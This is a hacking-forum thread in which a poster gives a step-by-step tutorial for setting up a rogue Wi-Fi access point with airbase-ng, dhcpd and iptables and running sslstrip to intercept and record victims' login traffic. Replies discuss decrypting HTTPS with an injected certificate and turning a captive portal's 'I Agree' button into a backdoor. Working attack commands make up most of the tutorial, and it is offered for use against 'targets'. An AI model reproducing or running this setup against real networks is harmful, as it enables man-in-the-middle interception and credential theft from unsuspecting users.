

Forum: [Hack Forums](#)

Thread: [\[Tut\] Rogue Access Point+sslstrip /w web access](#)

Freshnuts - October 31, 2016, 4:57 pm

<><><><><>
Rogue_Wifi
<><><><><>

Summary:

This is a guide for a Rogue Access Point + sslstrip. It can be also transformed into an evil twin. The differences are that the Evil Twin attack copies host MAC & ESSID to fool certain persons connecting to the targetted network.

A Rogue Access point merely obtains internet from an open, hotspot, hacked AP from NIC #1, and pushes it towards NIC #2, the rogue AP. When target connects to the Rogue AP they are receiving internet access from hacked AP & it streams THROUGH our attack box, effectively performing a MITM without any MITM modules(aka - arpspoof).

Requirements:

Kali Linux
1 NIC for internet access (wlan0)
1 NIC for Rogue Access Point (wlan1,wlan1mon,at0)
isc-dhcp-server/dhcpd
airmon-ng
airbase-ng

[illegible]

Development

Connect to the internet with NIC #1 (wlan0)

Code However, you connect to the internet
Place NIC #2 into Promiscuous Mode

```
Code airmon-ng start wlan1
ifconfig | grep wlan1mon
wlan1mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
Let's setup the Rogue AP with airbase-ng. You want open up another terminal
for the AP, given you can make this a background process I like to
collect and observe the MAC Addresses real-time as they connect to our AP.
```

Let' use airbase-ng on terminal #2 and then leave it alone.

Code # On a seperate terminal
airbase-ng -c 9 -e "fr3sh" wlan1mon

Back on terminal #1, ifconfig & route will prime the Rogue network & dhcpd/iptables modules.

Explanation:

1. ifconfig at0 192.168.2.1 netmask 255.255.255.0
This will assign IP and Netmask to our rogue AP(at0).
2. route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1 at0
This will create a route & assign our IP to the new gateway AP(at0).

Code ifconfig at0 down

ifconfig at0 up

ifconfig at0 192.168.2.1 netmask 255.255.255.0

route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1 at0

At this point we need to configure the DHCP settings, first let's install a dhcp server.

Code apt-get install isc-dhcp-server

Place Rogue AP configurations at the end of "/etc/dhcp/dhcpd.conf"

Description:

What is happening here is just a bit of networking. We are setting up the dhcpd service module to read our configurations for our Rouge AP. We are adjusting the DNS,subnet,routers,DHCP client range, and broadcast address. It's pretty self explanatory, just study it up a bit if you don't understand.

Code # This is at the end of /etc/dhcp/dhcpd.conf.

ddns-update-style interim;

default-lease-time 600;

max-lease-time 7200;

subnet 192.168.2.0 netmask 255.255.255.0 {

option subnet-mask 255.255.255.0;

option broadcast-address 192.168.2.255;

option routers 192.168.2.1;

option domain-name-servers 8.8.8.8,192.168.2.1;

range 192.168.2.20 192.168.2.40;

}

Set dhcpd/leases configurations for dhcp connecting clients. Then restart dhcpd service to initiate our settings.

dhcpd:

-cf == configuration file we adjusted

-pf == Create an alternate pid-file (Process id)

Code dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpclient-ap.pid at0

/etc/init.d/isc-dhcp-server restart

iptables will now come into play. Now, we are now at the point where we are ready to route traffic to our Rogue AP network. Let's clear all configurations prior to get a fr3sh start going.

Code iptables --table nat --delete-chain

```
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
(This is where people hiccup)
```

Notice, how there are people complaining that their target isn't able to reach HTTP/HTTPS internet, along with DNS issues? Well, that's because our attack box is now a router. You need to ALLOW inbound & outbound for services HTTP,HTTPS, and DNS to Rogue AP for the web to work properly.

To finish, we masquerade our wlan0 IP with the Target DHCP Client's IP.

iptables options description:

```
-t nat          - Network Access Translation
-A PREROUTING  - Grab the traffic between wlan0 -> at0
-p tcp         - TCP protocol
-i wlan0       - INPUT interface
-j DNAT        - Action-to-take: JUMP-TO Destination IP:PORT
--to 192.168.2.1 - to our Rogue IP (at0)
-A POSTROUTING - Grab traffic FROM network 192.168.2.0/24 -> wlan0
-o wlan0       - Destination interface / TO output-device
-j MASQUERADE  - Action-to-take: MASK/HIDE wlan0 IP to Target IP
```

Routing Traffic: wlan0(Internet) -> at0(Rogue AP) on ports 80,443,53.

```
Code iptables -t nat -A PREROUTING -p tcp --dport 80 -i wlan0 -j DNAT --to 192.168.2.1:80
iptables -t nat -A PREROUTING -p tcp --dport 443 -i wlan0 -j DNAT --to 192.168.2.1:443
iptables -t nat -A PREROUTING -p tcp --dport 53 -i wlan0 -j DNAT --to 192.168.2.1:53
iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -o wlan0 -j MASQUERADE
Port Forwarding - This option allows traffic through our attack box/Rogue AP.
```

```
Code echo 1 > /proc/sys/net/ipv4/ip_forward
```

NOTE - sslstrip cannot be started prior to these upcoming iptables settings.
If these options are enabled while sslstrip is on, the port 10000 will be already in use and sometimes will not display.

iptables options description for sslstrip:

```
-j REDIRECT - Action-to-take: Redirect all traffic from dport
               to sslstrip default port 10000 on local machine.
--to-ports - To port 10000
Code iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 10000
On another terminal let's finally use sslstrip. This is the module that
intercepts & records the login traffic.
```

```
Code sslstrip -w fr3sh
```

Optional: If you want to follow the stream real-time then use tail -f.

```
Code tail -f /tmp/fr3sh
```

From here you should be able to see the desired traffic on the tail stream.
Also, the reason we aren't using arpspoof,ettercap, etc. is because we are

already doing a MITM by creating the router itself.

Thanks for reading! And remember, keep your nuts fr3sh, and if they aren't..
ENUMERATE.

ps - If I had made any mistakes and/or you ran into any issues please let me know constructively, I'm still learning and more importantly, willing to learn. ?

SchwererGustav - December 5, 2016, 3:56 pm

nice TUT dude ,and this is a post to keep your TUT alive ,and also for posting your answer on my question ...

sureshpallapa - December 5, 2016, 8:36 pm

thank for this good tuts bro.....

Freshnuts - December 11, 2016, 2:32 am

@SchwererGustav

@sureshpallapa

No problem, thanks for checking it out!

mostafa73 - December 11, 2016, 2:04 pm

With this method can we see logs HTTPS (cracked)?

Freshnuts - December 12, 2016, 12:24 pm

Hey, mostafa. Not with this current setup. If you add fiddler module /w SSL certificate you can intercept

and decrypt the HTTPS traffic. Good idea though, I kinda just did this for fun and didn't think about intercepting

all HTTPS traffic. I'll try it out once I'm done programming an LFI module.

As your box is the proxy for any and all traffic from target, you can intercept and log everything with any module you use. Also, you can make any landing page you want and have them click on "terms & agreement" to use the "Internet", except the "I Agree" button can be a backdoor.

pop.pop.ret - December 13, 2016, 7:08 am

Just a heads up, sslstrip is VERY unlikely to still work due to HSTS (HTTP Strict Transport Security) being implemented in most modern browsers by default now

Freshnuts - December 19, 2016, 1:33 pm

I go to plenty of websites with fully updated browsers and I don't receive HSTS.

I attempted this method on a Nexus 5 and 6 also, and it worked perfectly.

You're completely right about HSTS, but I'm pretty confused why aren't they implementing it on my browsers as I have Chrome & Firefox fully updated on my test machines/phones. (I didn't use the apps, that might be it.)

I entered these websites from google:

facebook

paypal

wellsfargo

And they all give me https by default.
I'll check it out.

RCE - *December 19, 2016, 11:26 pm*

thanks for this tut we need more tut like this <3